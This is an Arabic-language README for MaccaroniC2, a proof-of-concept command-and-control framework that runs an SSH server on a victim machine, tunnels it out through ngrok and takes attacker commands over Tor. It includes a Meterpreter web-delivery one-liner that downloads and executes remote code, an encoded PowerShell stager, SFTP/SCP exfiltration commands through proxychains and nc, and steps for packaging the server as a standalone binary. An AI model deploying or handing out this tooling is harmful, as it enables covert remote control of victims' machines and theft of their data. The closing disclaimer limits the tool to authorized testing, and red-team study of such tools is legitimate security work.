
إطار عمل Command & Control (إثبات مفهوم) يستخدم مكتبة AsyncSSH Python القوية التي توفر تنفيذًا غير متزامن لعميل وخادم بروتوكول SSHv2، ويستخدم غلاف PyNgrok لتكامل ngrok.

MaccaroniC2 هو إطار عمل إثبات المفهوم للتحكم في الأوامر يستخدم مكتبة AsyncSSH القوية في بايثون والتي توفر تنفيذًا غير متزامن للعميل والخادم لبروتوكول SSHv2 ويستخدم غلاف PyNgrok لتكامل ngrok. هذه الأداة مستوحاة من سيناريو محدد حيث يقوم الضحية بتشغيل خادم AsyncSSH وإنشاء نفق إلى الخارج، جاهزًا لاستقبال الأوامر من المهاجم.
يستفيد المهاجم من واجهة برمجة تطبيقات Ngrok الرسمية لاسترداد اسم المضيف ومنفذ النفق لإنشاء اتصال. يستفيد هذا الأسلوب من الإمكانيات الشاملة التي يوفرها AsyncSSH، بما في ذلك دعمه المدمج لـ SFTP و SCP، مما يسهل تسريب البيانات بشكل آمن وفعال وأكثر.
علاوة على ذلك، يمكن للمهاجم إرسال وتنفيذ أوامر النظام باستخدام وكيل SOCKS، مستفيدًا من المزايا المقدمة، على سبيل المثال، استخدام TOR لتعزيز إخفاء الهوية.
قم بتشغيل python3 gen_rsa.py لإنشاء زوج من مفاتيح SSH. يتم استخدام id_rsa الذي تم إنشاؤه حديثًا بواسطة المهاجم للاتصال بالخادم الذي يعمل على جهاز الضحية.
قم بتحرير ملف asyncssh_server.py وضع محتويات id_rsa.pub الذي تم إنشاؤه حديثًا داخل متغير pub_key. يوفر asyncssh_server.py تنفيذًا لبروتوكول SSHv2 مع ميزات SFTP وSCP. هذا هو السكريبت الذي يقوم الضحية بتشغيله.
قم بإنشاء حساب مجاني على موقع Ngrok ودوّن رمز AUTH.
أضف رمز AUTH إلى متغير token في asyncssh_server.py، يجب ترميزه بشكل ثابت داخل دالة ngrok_tunnel().
قم بإنشاء مفتاح API مجاني على موقع Ngrok. دوّن السلسلة النصية التي تم إنشاؤها.
باستخدام async_commander.py يمكنك إرسال أي أمر إلى الخادم. يقوم تلقائيًا بطلب نطاق ومنفذ نفق Ngrok الذي فعله الضحية باستخدام واجهة برمجة تطبيقات Ngrok الرسمية.
يرجى ملاحظة أيضًا أن id_rsa يجب أن يكون في نفس مجلد async_commander.py
تشغيل الخادم على جهاز الضحية:
python3 asyncssh_server.py
من جهاز المهاجم أرسل أمرًا باستخدام وكيل socks:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
أرسل أمرًا بدون استخدام وكيل:
python3 asyncssh_commander.py "whoami"
إطلاق عميل C2 آخر (Powershell-Empire, Meterpreter, إلخ):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
وحدة توصيل الويب في Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
الحصول على قائمة بالأنفاق النشطة:
python3 get_endpoints.py
توليد أزواج مفاتيح RSA جديدة:
python3 gen_rsa.py
باستخدام SFTP و SCP - لا تحتاج إلى اسم مستخدم صالح، فقط id_rsa الصحيح
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
لمزيد من المعلومات، راجع المقالة ذات الصلة: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
إخلاء المسؤولية: هذه الأداة مخصصة لأغراض الاختبار والتعليم فقط. يجب استخدامها فقط على الأنظمة المصرح بها بشكل مناسب. أي استخدام غير مصرح به أو غير قانوني لهذه الأداة ممنوع منعًا باتًا. منشئ هذه الأداة لا يتحمل أي مسؤولية عن أي استخدام خاطئ أو ضرر ناتج عن استخدامها. يرجى التأكد من الامتثال للقوانين واللوائح المعمول بها أثناء استخدام هذه الأداة. بالإضافة إلى ذلك، من المهم ملاحظة أن استخدام Ngrok مع هذه الأداة قد يؤدي إلى انتهاك شروط الخدمة أو سياسات منصات معينة. يُنصح بمراجعة والامتثال لشروط استخدام أي منصة أو خدمة لتجنب حظر الحساب المحتمل أو الاضطرابات.
ضع سلسلة مفتاح API في متغير api_key داخل ملف async_commander.py. يتيح لنا ذلك استرداد نطاق Ngrok ومنفذ النفق النشط تلقائيًا أثناء الأتمتة.
قم بتنفيذ نفس الخطوة لملف get_endpoints.py. يسترد هذا السكريبت معلومات مفيدة متنوعة حول الأنفاق النشطة.